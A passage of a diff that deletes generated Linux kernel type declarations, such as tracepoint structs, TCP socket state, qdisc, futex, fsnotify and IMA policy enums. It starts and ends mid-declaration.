trace_event_raw_net_dev_rx_exit_template { - struct trace_entry ent; - int ret; - char __data[0]; -}; - -struct trace_event_data_offsets_net_dev_start_xmit { - u32 name; -}; - -struct trace_event_data_offsets_net_dev_xmit { - u32 name; -}; - -struct trace_event_data_offsets_net_dev_xmit_timeout { - u32 name; - u32 driver; -}; - -struct trace_event_data_offsets_net_dev_template { - u32 name; -}; - -struct trace_event_data_offsets_net_dev_rx_verbose_template { - u32 name; -}; - -struct trace_event_data_offsets_net_dev_rx_exit_template {}; - -typedef void (*btf_trace_net_dev_start_xmit)(void *, const struct sk_buff *, const struct net_device *); - -typedef void (*btf_trace_net_dev_xmit)(void *, struct sk_buff *, int, struct net_device *, unsigned int); - -typedef void (*btf_trace_net_dev_xmit_timeout)(void *, struct net_device *, int); - -typedef void (*btf_trace_net_dev_queue)(void *, struct sk_buff *); - -typedef void (*btf_trace_netif_receive_skb)(void *, struct sk_buff *); - -typedef void (*btf_trace_netif_rx)(void *, struct sk_buff *); - -typedef void (*btf_trace_napi_gro_frags_entry)(void *, const struct sk_buff *); - -typedef void (*btf_trace_napi_gro_receive_entry)(void *, const struct sk_buff *); - -typedef void (*btf_trace_netif_receive_skb_entry)(void *, const struct sk_buff *); - -typedef void (*btf_trace_netif_receive_skb_list_entry)(void *, const struct sk_buff *); - -typedef void (*btf_trace_netif_rx_entry)(void *, const struct sk_buff *); - -typedef void (*btf_trace_napi_gro_frags_exit)(void *, int); - -typedef void (*btf_trace_napi_gro_receive_exit)(void *, int); - -typedef void (*btf_trace_netif_receive_skb_exit)(void *, int); - -typedef void (*btf_trace_netif_rx_exit)(void *, int); - -typedef void (*btf_trace_netif_receive_skb_list_exit)(void *, int); - -struct trace_event_raw_napi_poll { - struct trace_entry ent; - struct napi_struct *napi; - u32 __data_loc_dev_name; - int work; - int budget; - char __data[0]; -}; - -struct trace_event_data_offsets_napi_poll { - u32 dev_name; -}; - -typedef void (*btf_trace_napi_poll)(void *, struct napi_struct *, int, int); - -struct minmax_sample { - u32 t; - u32 v; -}; - -struct minmax { - struct minmax_sample s[3]; -}; - -enum tcp_ca_state { - TCP_CA_Open = 0, - TCP_CA_Disorder = 1, - TCP_CA_CWR = 2, - TCP_CA_Recovery = 3, - TCP_CA_Loss = 4, -}; - -struct tcp_fastopen_cookie { - __le64 val[2]; - s8 len; - bool exp; -}; - -struct tcp_sack_block { - u32 start_seq; - u32 end_seq; -}; - -struct tcp_options_received { - int ts_recent_stamp; - u32 ts_recent; - u32 rcv_tsval; - u32 rcv_tsecr; - u16 saw_tstamp: 1; - u16 tstamp_ok: 1; - u16 dsack: 1; - u16 wscale_ok: 1; - u16 sack_ok: 3; - u16 smc_ok: 1; - u16 snd_wscale: 4; - u16 rcv_wscale: 4; - u8 saw_unknown: 1; - u8 unused: 7; - u8 num_sacks; - u16 user_mss; - u16 mss_clamp; -}; - -struct tcp_rack { - u64 mstamp; - u32 rtt_us; - u32 end_seq; - u32 last_delivered; - u8 reo_wnd_steps; - u8 reo_wnd_persist: 5; - u8 dsack_seen: 1; - u8 advanced: 1; -}; - -struct tcp_sock_af_ops; - -struct tcp_md5sig_info; - -struct tcp_fastopen_request; - -struct tcp_sock { - struct inet_connection_sock inet_conn; - u16 tcp_header_len; - u16 gso_segs; - __be32 pred_flags; - u64 bytes_received; - u32 segs_in; - u32 data_segs_in; - u32 rcv_nxt; - u32 copied_seq; - u32 rcv_wup; - u32 snd_nxt; - u32 segs_out; - u32 data_segs_out; - u64 bytes_sent; - u64 bytes_acked; - u32 dsack_dups; - u32 snd_una; - u32 snd_sml; - u32 rcv_tstamp; - u32 lsndtime; - u32 last_oow_ack_time; - u32 compressed_ack_rcv_nxt; - u32 tsoffset; - struct list_head tsq_node; - struct list_head tsorted_sent_queue; - u32 snd_wl1; - u32 snd_wnd; - u32 max_window; - u32 mss_cache; - u32 window_clamp; - u32 rcv_ssthresh; - struct tcp_rack rack; - u16 advmss; - u8 compressed_ack; - u8 dup_ack_counter: 2; - u8 tlp_retrans: 1; - u8 unused: 5; - u32 chrono_start; - u32 chrono_stat[3]; - u8 chrono_type: 2; - u8 rate_app_limited: 1; - u8 fastopen_connect: 1; - u8 fastopen_no_cookie: 1; - u8 is_sack_reneg: 1; - u8 fastopen_client_fail: 2; - u8 nonagle: 4; - u8 thin_lto: 1; - u8 recvmsg_inq: 1; - u8 repair: 1; - u8 frto: 1; - u8 repair_queue; - u8 save_syn: 2; - u8 syn_data: 1; - u8 syn_fastopen: 1; - u8 syn_fastopen_exp: 1; - u8 syn_fastopen_ch: 1; - u8 syn_data_acked: 1; - u8 is_cwnd_limited: 1; - u32 tlp_high_seq; - u32 tcp_tx_delay; - u64 tcp_wstamp_ns; - u64 tcp_clock_cache; - u64 tcp_mstamp; - u32 srtt_us; - u32 mdev_us; - u32 mdev_max_us; - u32 rttvar_us; - u32 rtt_seq; - struct minmax rtt_min; - u32 packets_out; - u32 retrans_out; - u32 max_packets_out; - u32 cwnd_usage_seq; - u16 urg_data; - u8 ecn_flags; - u8 keepalive_probes; - u32 reordering; - u32 reord_seen; - u32 snd_up; - struct tcp_options_received rx_opt; - u32 snd_ssthresh; - u32 snd_cwnd; - u32 snd_cwnd_cnt; - u32 snd_cwnd_clamp; - u32 snd_cwnd_used; - u32 snd_cwnd_stamp; - u32 prior_cwnd; - u32 prr_delivered; - u32 prr_out; - u32 delivered; - u32 delivered_ce; - u32 lost; - u32 app_limited; - u64 first_tx_mstamp; - u64 delivered_mstamp; - u32 rate_delivered; - u32 rate_interval_us; - u32 rcv_wnd; - u32 write_seq; - u32 notsent_lowat; - u32 pushed_seq; - u32 lost_out; - u32 sacked_out; - struct hrtimer pacing_timer; - struct hrtimer compressed_ack_timer; - struct sk_buff *lost_skb_hint; - struct sk_buff *retransmit_skb_hint; - struct rb_root out_of_order_queue; - struct sk_buff *ooo_last_skb; - struct tcp_sack_block duplicate_sack[1]; - struct tcp_sack_block selective_acks[4]; - struct tcp_sack_block recv_sack_cache[4]; - struct sk_buff *highest_sack; - int lost_cnt_hint; - u32 prior_ssthresh; - u32 high_seq; - u32 retrans_stamp; - u32 undo_marker; - int undo_retrans; - u64 bytes_retrans; - u32 total_retrans; - u32 urg_seq; - unsigned int keepalive_time; - unsigned int keepalive_intvl; - int linger2; - u8 bpf_sock_ops_cb_flags; - u8 bpf_chg_cc_inprogress: 1; - u16 timeout_rehash; - u32 rcv_ooopack; - u32 rcv_rtt_last_tsecr; - struct { - u32 rtt_us; - u32 seq; - u64 time; - } rcv_rtt_est; - struct { - u32 space; - u32 seq; - u64 time; - } rcvq_space; - struct { - u32 probe_seq_start; - u32 probe_seq_end; - } mtu_probe; - u32 plb_rehash; - u32 mtu_info; - bool is_mptcp; - const struct tcp_sock_af_ops *af_specific; - struct tcp_md5sig_info *md5sig_info; - struct tcp_fastopen_request *fastopen_req; - struct request_sock *fastopen_rsk; - struct saved_syn *saved_syn; -}; - -struct tcp_md5sig_key; - -struct tcp_sock_af_ops { - struct tcp_md5sig_key * (*md5_lookup)(const struct sock *, const struct sock *); - int (*calc_md5_hash)(char *, const struct tcp_md5sig_key *, const struct sock *, const struct sk_buff *); - int (*md5_parse)(struct sock *, int, sockptr_t, int); -}; - -struct tcp_md5sig_info { - struct hlist_head head; - struct callback_head rcu; -}; - -struct tcp_fastopen_request { - struct tcp_fastopen_cookie cookie; - struct msghdr *data; - size_t size; - int copied; - struct ubuf_info *uarg; -}; - -union tcp_md5_addr { - struct in_addr a4; - struct in6_addr a6; -}; - -struct tcp_md5sig_key { - struct hlist_node node; - u8 keylen; - u8 family; - u8 prefixlen; - u8 flags; - union tcp_md5_addr addr; - int l3index; - u8 key[80]; - struct callback_head rcu; -}; - -struct trace_event_raw_sock_rcvqueue_full { - struct trace_entry ent; - int rmem_alloc; - unsigned int truesize; - int sk_rcvbuf; - char __data[0]; -}; - -struct trace_event_raw_sock_exceed_buf_limit { - struct trace_entry ent; - char name[32]; - long int sysctl_mem[3]; - long int allocated; - int sysctl_rmem; - int rmem_alloc; - int sysctl_wmem; - int wmem_alloc; - int wmem_queued; - int kind; - char __data[0]; -}; - -struct trace_event_raw_inet_sock_set_state { - struct trace_entry ent; - const void *skaddr; - int oldstate; - int newstate; - __u16 sport; - __u16 dport; - __u16 family; - __u16 protocol; - __u8 saddr[4]; - __u8 daddr[4]; - __u8 saddr_v6[16]; - __u8 daddr_v6[16]; - char __data[0]; -}; - -struct trace_event_raw_inet_sk_error_report { - struct trace_entry ent; - int error; - __u16 sport; - __u16 dport; - __u16 family; - __u16 protocol; - __u8 saddr[4]; - __u8 daddr[4]; - __u8 saddr_v6[16]; - __u8 daddr_v6[16]; - char __data[0]; -}; - -struct trace_event_data_offsets_sock_rcvqueue_full {}; - -struct trace_event_data_offsets_sock_exceed_buf_limit {}; - -struct trace_event_data_offsets_inet_sock_set_state {}; - -struct trace_event_data_offsets_inet_sk_error_report {}; - -typedef void (*btf_trace_sock_rcvqueue_full)(void *, struct sock *, struct sk_buff *); - -typedef void (*btf_trace_sock_exceed_buf_limit)(void *, struct sock *, struct proto *, long int, int); - -typedef void (*btf_trace_inet_sock_set_state)(void *, const struct sock *, const int, const int); - -typedef void (*btf_trace_inet_sk_error_report)(void *, const struct sock *); - -struct trace_event_raw_udp_fail_queue_rcv_skb { - struct trace_entry ent; - int rc; - __u16 lport; - char __data[0]; -}; - -struct trace_event_data_offsets_udp_fail_queue_rcv_skb {}; - -typedef void (*btf_trace_udp_fail_queue_rcv_skb)(void *, int, struct sock *); - -struct trace_event_raw_tcp_event_sk_skb { - struct trace_entry ent; - const void *skbaddr; - const void *skaddr; - int state; - __u16 sport; - __u16 dport; - __u16 family; - __u8 saddr[4]; - __u8 daddr[4]; - __u8 saddr_v6[16]; - __u8 daddr_v6[16]; - char __data[0]; -}; - -struct trace_event_raw_tcp_event_sk { - struct trace_entry ent; - const void *skaddr; - __u16 sport; - __u16 dport; - __u16 family; - __u8 saddr[4]; - __u8 daddr[4]; - __u8 saddr_v6[16]; - __u8 daddr_v6[16]; - __u64 sock_cookie; - char __data[0]; -}; - -struct trace_event_raw_tcp_retransmit_synack { - struct trace_entry ent; - const void *skaddr; - const void *req; - __u16 sport; - __u16 dport; - __u16 family; - __u8 saddr[4]; - __u8 daddr[4]; - __u8 saddr_v6[16]; - __u8 daddr_v6[16]; - char __data[0]; -}; - -struct trace_event_raw_tcp_probe { - struct trace_entry ent; - __u8 saddr[28]; - __u8 daddr[28]; - __u16 sport; - __u16 dport; - __u16 family; - __u32 mark; - __u16 data_len; - __u32 snd_nxt; - __u32 snd_una; - __u32 snd_cwnd; - __u32 ssthresh; - __u32 snd_wnd; - __u32 srtt; - __u32 rcv_wnd; - __u64 sock_cookie; - char __data[0]; -}; - -struct trace_event_raw_tcp_event_skb { - struct trace_entry ent; - const void *skbaddr; - __u8 saddr[28]; - __u8 daddr[28]; - char __data[0]; -}; - -struct trace_event_raw_tcp_cong_state_set { - struct trace_entry ent; - const void *skaddr; - __u16 sport; - __u16 dport; - __u8 saddr[4]; - __u8 daddr[4]; - __u8 saddr_v6[16]; - __u8 daddr_v6[16]; - __u8 cong_state; - char __data[0]; -}; - -struct trace_event_data_offsets_tcp_event_sk_skb {}; - -struct trace_event_data_offsets_tcp_event_sk {}; - -struct trace_event_data_offsets_tcp_retransmit_synack {}; - -struct trace_event_data_offsets_tcp_probe {}; - -struct trace_event_data_offsets_tcp_event_skb {}; - -struct trace_event_data_offsets_tcp_cong_state_set {}; - -typedef void (*btf_trace_tcp_retransmit_skb)(void *, const struct sock *, const struct sk_buff *); - -typedef void (*btf_trace_tcp_send_reset)(void *, const struct sock *, const struct sk_buff *); - -typedef void (*btf_trace_tcp_receive_reset)(void *, struct sock *); - -typedef void (*btf_trace_tcp_destroy_sock)(void *, struct sock *); - -typedef void (*btf_trace_tcp_rcv_space_adjust)(void *, struct sock *); - -typedef void (*btf_trace_tcp_retransmit_synack)(void *, const struct sock *, const struct request_sock *); - -typedef void (*btf_trace_tcp_probe)(void *, struct sock *, struct sk_buff *); - -typedef void (*btf_trace_tcp_bad_csum)(void *, const struct sk_buff *); - -typedef void (*btf_trace_tcp_cong_state_set)(void *, struct sock *, const u8); - -struct trace_event_raw_fib_table_lookup { - struct trace_entry ent; - u32 tb_id; - int err; - int oif; - int iif; - u8 proto; - __u8 tos; - __u8 scope; - __u8 flags; - __u8 src[4]; - __u8 dst[4]; - __u8 gw4[4]; - __u8 gw6[16]; - u16 sport; - u16 dport; - char name[16]; - char __data[0]; -}; - -struct trace_event_data_offsets_fib_table_lookup {}; - -typedef void (*btf_trace_fib_table_lookup)(void *, u32, const struct flowi4 *, const struct fib_nh_common *, int); - -struct trace_event_raw_qdisc_dequeue { - struct trace_entry ent; - struct Qdisc *qdisc; - const struct netdev_queue *txq; - int packets; - void *skbaddr; - int ifindex; - u32 handle; - u32 parent; - long unsigned int txq_state; - char __data[0]; -}; - -struct trace_event_raw_qdisc_enqueue { - struct trace_entry ent; - struct Qdisc *qdisc; - const struct netdev_queue *txq; - void *skbaddr; - int ifindex; - u32 handle; - u32 parent; - char __data[0]; -}; - -struct trace_event_raw_qdisc_reset { - struct trace_entry ent; - u32 __data_loc_dev; - u32 __data_loc_kind; - u32 parent; - u32 handle; - char __data[0]; -}; - -struct trace_event_raw_qdisc_destroy { - struct trace_entry ent; - u32 __data_loc_dev; - u32 __data_loc_kind; - u32 parent; - u32 handle; - char __data[0]; -}; - -struct trace_event_raw_qdisc_create { - struct trace_entry ent; - u32 __data_loc_dev; - u32 __data_loc_kind; - u32 parent; - char __data[0]; -}; - -struct trace_event_data_offsets_qdisc_dequeue {}; - -struct trace_event_data_offsets_qdisc_enqueue {}; - -struct trace_event_data_offsets_qdisc_reset { - u32 dev; - u32 kind; -}; - -struct trace_event_data_offsets_qdisc_destroy { - u32 dev; - u32 kind; -}; - -struct trace_event_data_offsets_qdisc_create { - u32 dev; - u32 kind; -}; - -typedef void (*btf_trace_qdisc_dequeue)(void *, struct Qdisc *, const struct netdev_queue *, int, struct sk_buff *); - -typedef void (*btf_trace_qdisc_enqueue)(void *, struct Qdisc *, const struct netdev_queue *, struct sk_buff *); - -typedef void (*btf_trace_qdisc_reset)(void *, struct Qdisc *); - -typedef void (*btf_trace_qdisc_destroy)(void *, struct Qdisc *); - -typedef void (*btf_trace_qdisc_create)(void *, const struct Qdisc_ops *, struct net_device *, u32); - -enum compact_priority { - COMPACT_PRIO_SYNC_FULL = 0, - MIN_COMPACT_PRIORITY = 0, - COMPACT_PRIO_SYNC_LIGHT = 1, - MIN_COMPACT_COSTLY_PRIORITY = 1, - DEF_COMPACT_PRIORITY = 1, - COMPACT_PRIO_ASYNC = 2, - INIT_COMPACT_PRIORITY = 2, -}; - -enum compact_result { - COMPACT_NOT_SUITABLE_ZONE = 0, - COMPACT_SKIPPED = 1, - COMPACT_DEFERRED = 2, - COMPACT_NO_SUITABLE_PAGE = 3, - COMPACT_CONTINUE = 4, - COMPACT_COMPLETE = 5, - COMPACT_PARTIAL_SKIPPED = 6, - COMPACT_CONTENDED = 7, - COMPACT_SUCCESS = 8, -}; - -struct trace_event_raw_page_pool_release { - struct trace_entry ent; - const struct page_pool *pool; - s32 inflight; - u32 hold; - u32 release; - u64 cnt; - char __data[0]; -}; - -struct trace_event_raw_page_pool_state_release { - struct trace_entry ent; - const struct page_pool *pool; - const struct page *page; - u32 release; - long unsigned int pfn; - char __data[0]; -}; - -struct trace_event_raw_page_pool_state_hold { - struct trace_entry ent; - const struct page_pool *pool; - const struct page *page; - u32 hold; - long unsigned int pfn; - char __data[0]; -}; - -struct trace_event_raw_page_pool_update_nid { - struct trace_entry ent; - const struct page_pool *pool; - int pool_nid; - int new_nid; - char __data[0]; -}; - -struct trace_event_data_offsets_page_pool_release {}; - -struct trace_event_data_offsets_page_pool_state_release {}; - -struct trace_event_data_offsets_page_pool_state_hold {}; - -struct trace_event_data_offsets_page_pool_update_nid {}; - -typedef void (*btf_trace_page_pool_release)(void *, const struct page_pool *, s32, u32, u32); - -typedef void (*btf_trace_page_pool_state_release)(void *, const struct page_pool *, const struct page *, u32); - -typedef void (*btf_trace_page_pool_state_hold)(void *, const struct page_pool *, const struct page *, u32); - -typedef void (*btf_trace_page_pool_update_nid)(void *, const struct page_pool *, int); - -struct trace_event_raw_neigh_create { - struct trace_entry ent; - u32 family; - u32 __data_loc_dev; - int entries; - u8 created; - u8 gc_exempt; - u8 primary_key4[4]; - u8 primary_key6[16]; - char __data[0]; -}; - -struct trace_event_raw_neigh_update { - struct trace_entry ent; - u32 family; - u32 __data_loc_dev; - u8 lladdr[32]; - u8 lladdr_len; - u8 flags; - u8 nud_state; - u8 type; - u8 dead; - int refcnt; - __u8 primary_key4[4]; - __u8 primary_key6[16]; - long unsigned int confirmed; - long unsigned int updated; - long unsigned int used; - u8 new_lladdr[32]; - u8 new_state; - u32 update_flags; - u32 pid; - char __data[0]; -}; - -struct trace_event_raw_neigh__update { - struct trace_entry ent; - u32 family; - u32 __data_loc_dev; - u8 lladdr[32]; - u8 lladdr_len; - u8 flags; - u8 nud_state; - u8 type; - u8 dead; - int refcnt; - __u8 primary_key4[4]; - __u8 primary_key6[16]; - long unsigned int confirmed; - long unsigned int updated; - long unsigned int used; - u32 err; - char __data[0]; -}; - -struct trace_event_data_offsets_neigh_create { - u32 dev; -}; - -struct trace_event_data_offsets_neigh_update { - u32 dev; -}; - -struct trace_event_data_offsets_neigh__update { - u32 dev; -}; - -typedef void (*btf_trace_neigh_create)(void *, struct neigh_table *, struct net_device *, const void *, const struct neighbour *, bool); - -typedef void (*btf_trace_neigh_update)(void *, struct neighbour *, const u8 *, u8, u32, u32); - -typedef void (*btf_trace_neigh_update_done)(void *, struct neighbour *, int); - -typedef void (*btf_trace_neigh_timer_handler)(void *, struct neighbour *, int); - -typedef void (*btf_trace_neigh_event_send_done)(void *, struct neighbour *, int); - -typedef void (*btf_trace_neigh_event_send_dead)(void *, struct neighbour *, int); - -typedef void (*btf_trace_neigh_cleanup_and_release)(void *, struct neighbour *, int); - -struct cmsghdr { - __kernel_size_t cmsg_len; - int cmsg_level; - int cmsg_type; -}; - -struct ip6_mtuinfo { - struct sockaddr_in6 ip6m_addr; - __u32 ip6m_mtu; -}; - -struct in_pktinfo { - int ipi_ifindex; - struct in_addr ipi_spec_dst; - struct in_addr ipi_addr; -}; - -struct sock_ee_data_rfc4884 { - __u16 len; - __u8 flags; - __u8 reserved; -}; - -struct sock_extended_err { - __u32 ee_errno; - __u8 ee_origin; - __u8 ee_type; - __u8 ee_code; - __u8 ee_pad; - __u32 ee_info; - union { - __u32 ee_data; - struct sock_ee_data_rfc4884 ee_rfc4884; - }; -}; - -struct sock_exterr_skb { - union { - struct inet_skb_parm h4; - struct inet6_skb_parm h6; - } header; - struct sock_extended_err ee; - u16 addr_offset; - __be16 port; - u8 opt_stats: 1; - u8 unused: 7; -}; - -struct errormap { - char *name; - int val; - int namelen; - struct hlist_node list; -}; - -struct p9_dirent { - struct p9_qid qid; - u64 d_off; - unsigned char d_type; - char d_name[256]; -}; - -struct xdp_rxtx_ring { - struct xdp_ring ptrs; - struct xdp_desc desc[0]; -}; - -struct xdp_umem_ring { - struct xdp_ring ptrs; - u64 desc[0]; -}; - -struct netlink_dump_control { - int (*start)(struct netlink_callback *); - int (*dump)(struct sk_buff *, struct netlink_callback *); - int (*done)(struct netlink_callback *); - void *data; - struct module *module; - u32 min_dump_alloc; -}; - -struct xdp_diag_req { - __u8 sdiag_family; - __u8 sdiag_protocol; - __u16 pad; - __u32 xdiag_ino; - __u32 xdiag_show; - __u32 xdiag_cookie[2]; -}; - -struct xdp_diag_msg { - __u8 xdiag_family; - __u8 xdiag_type; - __u16 pad; - __u32 xdiag_ino; - __u32 xdiag_cookie[2]; -}; - -enum { - XDP_DIAG_NONE = 0, - XDP_DIAG_INFO = 1, - XDP_DIAG_UID = 2, - XDP_DIAG_RX_RING = 3, - XDP_DIAG_TX_RING = 4, - XDP_DIAG_UMEM = 5, - XDP_DIAG_UMEM_FILL_RING = 6, - XDP_DIAG_UMEM_COMPLETION_RING = 7, - XDP_DIAG_MEMINFO = 8, - XDP_DIAG_STATS = 9, - __XDP_DIAG_MAX = 10, -}; - -struct xdp_diag_info { - __u32 ifindex; - __u32 queue_id; -}; - -struct xdp_diag_ring { - __u32 entries; -}; - -struct xdp_diag_umem { - __u64 size; - __u32 id; - __u32 num_pages; - __u32 chunk_size; - __u32 headroom; - __u32 ifindex; - __u32 queue_id; - __u32 flags; - __u32 refs; -}; - -struct xdp_diag_stats { - __u64 n_rx_dropped; - __u64 n_rx_invalid; - __u64 n_rx_full; - __u64 n_fill_ring_empty; - __u64 n_tx_invalid; - __u64 n_tx_ring_empty; -}; - -struct _fpx_sw_bytes { - __u32 magic1; - __u32 extended_size; - __u64 xfeatures; - __u32 xstate_size; - __u32 padding[7]; -}; - -struct _fpreg { - __u16 significand[4]; - __u16 exponent; -}; - -struct _fpxreg { - __u16 significand[4]; - __u16 exponent; - __u16 padding[3]; -}; - -struct _xmmreg { - __u32 element[4]; -}; - -struct _fpstate_32 { - __u32 cw; - __u32 sw; - __u32 tag; - __u32 ipoff; - __u32 cssel; - __u32 dataoff; - __u32 datasel; - struct _fpreg _st[8]; - __u16 status; - __u16 magic; - __u32 _fxsr_env[6]; - __u32 mxcsr; - __u32 reserved; - struct _fpxreg _fxsr_st[8]; - struct _xmmreg _xmm[8]; - union { - __u32 padding1[44]; - __u32 padding[44]; - }; - union { - __u32 padding2[12]; - struct _fpx_sw_bytes sw_reserved; - }; -}; - -struct user_i387_ia32_struct { - u32 cwd; - u32 swd; - u32 twd; - u32 fip; - u32 fcs; - u32 foo; - u32 fos; - u32 st_space[20]; -}; - -struct hrtimer_sleeper { - struct hrtimer timer; - struct task_struct *task; -}; - -struct robust_list { - struct robust_list *next; -}; - -struct robust_list_head { - struct robust_list list; - long int futex_offset; - struct robust_list *list_op_pending; -}; - -struct rt_mutex_base { - raw_spinlock_t wait_lock; - struct rb_root_cached waiters; - struct task_struct *owner; -}; - -union futex_key { - struct { - u64 i_seq; - long unsigned int pgoff; - unsigned int offset; - } shared; - struct { - union { - struct mm_struct *mm; - u64 __tmp; - }; - long unsigned int address; - unsigned int offset; - } private; - struct { - u64 ptr; - long unsigned int word; - unsigned int offset; - } both; -}; - -struct futex_pi_state { - struct list_head list; - struct rt_mutex_base pi_mutex; - struct task_struct *owner; - refcount_t refcount; - union futex_key key; -}; - -struct timens_offsets { - struct timespec64 monotonic; - struct timespec64 boottime; -}; - -struct time_namespace { - struct user_namespace *user_ns; - struct ucounts *ucounts; - struct ns_common ns; - struct timens_offsets offsets; - struct page *vvar_page; - bool frozen_offsets; -}; - -struct futex_waitv { - __u64 val; - __u64 uaddr; - __u32 flags; - __u32 __reserved; -}; - -struct futex_q { - struct plist_node list; - struct task_struct *task; - spinlock_t *lock_ptr; - union futex_key key; - struct futex_pi_state *pi_state; - struct rt_mutex_waiter *rt_waiter; - union futex_key *requeue_pi_key; - u32 bitset; - atomic_t requeue_state; -}; - -struct futex_vector { - struct futex_waitv w; - struct futex_q q; -}; - -struct bpf_netns_link { - struct bpf_link link; - enum bpf_attach_type type; - enum netns_bpf_attach_type netns_type; - struct net *net; - struct list_head node; -}; - -struct fsnotify_group; - -struct fsnotify_iter_info; - -struct fsnotify_mark; - -struct fsnotify_event; - -struct fsnotify_ops { - int (*handle_event)(struct fsnotify_group *, u32, const void *, int, struct inode *, const struct qstr *, u32, struct fsnotify_iter_info *); - int (*handle_inode_event)(struct fsnotify_mark *, u32, struct inode *, struct inode *, const struct qstr *, u32); - void (*free_group_priv)(struct fsnotify_group *); - void (*freeing_mark)(struct fsnotify_mark *, struct fsnotify_group *); - void (*free_event)(struct fsnotify_group *, struct fsnotify_event *); - void (*free_mark)(struct fsnotify_mark *); -}; - -struct inotify_group_private_data { - spinlock_t idr_lock; - struct idr idr; - struct ucounts *ucounts; -}; - -struct fsnotify_group { - const struct fsnotify_ops *ops; - refcount_t refcnt; - spinlock_t notification_lock; - struct list_head notification_list; - wait_queue_head_t notification_waitq; - unsigned int q_len; - unsigned int max_events; - unsigned int priority; - bool shutdown; - int flags; - unsigned int owner_flags; - struct mutex mark_mutex; - atomic_t user_waits; - struct list_head marks_list; - struct fasync_struct *fsn_fa; - struct fsnotify_event *overflow_event; - struct mem_cgroup *memcg; - union { - void *private; - struct inotify_group_private_data inotify_data; - }; -}; - -struct fsnotify_iter_info { - struct fsnotify_mark *marks[5]; - struct fsnotify_group *current_group; - unsigned int report_mask; - int srcu_idx; -}; - -struct fsnotify_mark { - __u32 mask; - refcount_t refcnt; - struct fsnotify_group *group; - struct list_head g_list; - spinlock_t lock; - struct hlist_node obj_list; - struct fsnotify_mark_connector *connector; - __u32 ignore_mask; - unsigned int flags; -}; - -struct fsnotify_event { - struct list_head list; -}; - -enum fsnotify_obj_type { - FSNOTIFY_OBJ_TYPE_ANY = -1, - FSNOTIFY_OBJ_TYPE_INODE = 0, - FSNOTIFY_OBJ_TYPE_VFSMOUNT = 1, - FSNOTIFY_OBJ_TYPE_SB = 2, - FSNOTIFY_OBJ_TYPE_COUNT = 3, - FSNOTIFY_OBJ_TYPE_DETACHED = 3, -}; - -struct ext4_system_zone { - struct rb_node node; - ext4_fsblk_t start_blk; - unsigned int count; - u32 ino; -}; - -enum lsm_event { - LSM_POLICY_CHANGE = 0, -}; - -enum { - Audit_equal = 0, - Audit_not_equal = 1, - Audit_bitmask = 2, - Audit_bittest = 3, - Audit_lt = 4, - Audit_gt = 5, - Audit_le = 6, - Audit_ge = 7, - Audit_bad = 8, -}; - -enum ima_hooks { - NONE = 0, - FILE_CHECK = 1, - MMAP_CHECK = 2, - BPRM_CHECK = 3, - CREDS_CHECK = 4, - POST_SETATTR = 5, - MODULE_CHECK = 6, - FIRMWARE_CHECK = 7, - KEXEC_KERNEL_CHECK = 8, - KEXEC_INITRAMFS_CHECK = 9, - POLICY_CHECK = 10, - KEXEC_CMDLINE = 11, - KEY_CHECK = 12, - CRITICAL_DATA = 13, - SETXATTR_CHECK = 14, - MAX_CHECK = 15, -}; - -enum lsm_rule_types { - LSM_OBJ_USER = 0, - LSM_OBJ_ROLE = 1, - LSM_OBJ_TYPE = 2, - LSM_SUBJ_USER = 3, - LSM_SUBJ_ROLE = 4, - LSM_SUBJ_TYPE = 5, -}; - -enum policy_types { - ORIGINAL_TCB = 1, - DEFAULT_TCB = 2, -}; - -enum policy_rule_list { - IMA_DEFAULT_POLICY = 1, - IMA_CUSTOM_POLICY = 2, -}; - -struct ima_rule_opt_list { - size_t count; - char *items[0]; -}; - -struct ima_rule_entry { - struct list_head list; - int action; - unsigned int flags; - enum ima_hooks func; - int mask; - long unsigned int fsmagic; - uuid_t fsuuid; - kuid_t uid; - kgid_t gid; - kuid_t fowner; - kgid_t fgroup; - bool (*uid_op)(kuid_t, kuid_t); - bool (*gid_op)(kgid_t, kgid_t); - bool (*fowner_op)(kuid_t, kuid_t); - bool (*fgroup_op)(kgid_t, kgid_t); - int pcr; - unsigned int allowed_algos; - struct { - void *rule; - char *args_p; - int type; - } lsm[6]; - char *fsname; - struct ima_rule_opt_list *keyrings; - struct ima_rule_opt_list *label; - struct ima_template_desc *template; -}; - -enum policy_opt { - Opt_measure = 0, - Opt_dont_measure = 1, - Opt_appraise = 2, - Opt_dont_appraise = 3, - Opt_audit = 4, - Opt_hash = 5, - Opt_dont_hash = 6, - Opt_obj_user = 7, - Opt_obj_role = 8, - Opt_obj_type = 9, - Opt_subj_user = 10, - Opt_subj_role = 11, - Opt_subj_type = 12, - Opt_func = 13, - Opt_mask = 14, - Opt_fsmagic = 15, - Opt_fsname = 16, - Opt_fsuuid = 17, - Opt_uid_eq = 18, - Opt_euid_eq = 19, - Opt_gid_eq = 20, - Opt_egid_eq = 21, - Opt_fowner_eq = 22, - Opt_fgroup_eq = 23, - Opt_uid_gt = 24, - Opt_euid_gt = 25, - Opt_gid_gt = 26, - Opt_egid_gt = 27, - Opt_fowner_gt = 28, - Opt_fgroup_gt = 29, - Opt_uid_lt = 30, - Opt_euid_lt = 31, - Opt_gid_lt = 32, - Opt_egid_lt = 33, - Opt_fowner_lt = 34, - Opt_fgroup_lt = 35, - Opt_digest_type = 36, - Opt_appraise_type = 37, - Opt_appraise_flag = 38, - Opt_appraise_algos = 39, - Opt_permit_directio = 40, - Opt_pcr = 41, - Opt_template = 42, - Opt_keyrings = 43, - Opt_label = 44, - Opt_err___4 = 45, -}; - -enum { - mask_exec = 0, - mask_write = 1, - mask_read = 2, - mask_append = 3, -}; - -struct klist_iter { - struct klist *i_klist; - struct klist_node *i_cur; -}; - -struct class_dev_iter { - struct klist_iter ki; - const struct device_type *type; -}; - -enum { - GENHD_FL_REMOVABLE = 1, - GENHD_FL_HIDDEN = 2, - GENHD_FL_NO_PART = 4, -}; - -struct blk_major_name { - struct blk_major_name *next; - int major; - char name[16]; - void (*probe)(dev_t); -}; - -enum devm_ioremap_type { - DEVM_IOREMAP = 0, - DEVM_IOREMAP_UC = 1, - DEVM_IOREMAP_WC = 2, - DEVM_IOREMAP_NP = 3, -}; - -struct pcim_iomap_devres { - void *table[6]; -}; - -struct arch_io_reserve_memtype_wc_devres { - resource_size_t start; - resource_size_t size; -}; - -typedef unsigned char u_char; - -typedef short unsigned int u_short; - -struct fb_fix_screeninfo { - char id[16]; - long unsigned int smem_start; - __u32 smem_len; - __u32 type; - __u32 type_aux; - __u32 visual; - __u16 xpanstep; - __u16 ypanstep; - __u16 ywrapstep; - __u32 line_length; - long unsigned int mmio_start; - __u32 mmio_len; - __u32 accel; - __u16 capabilities; - __u16 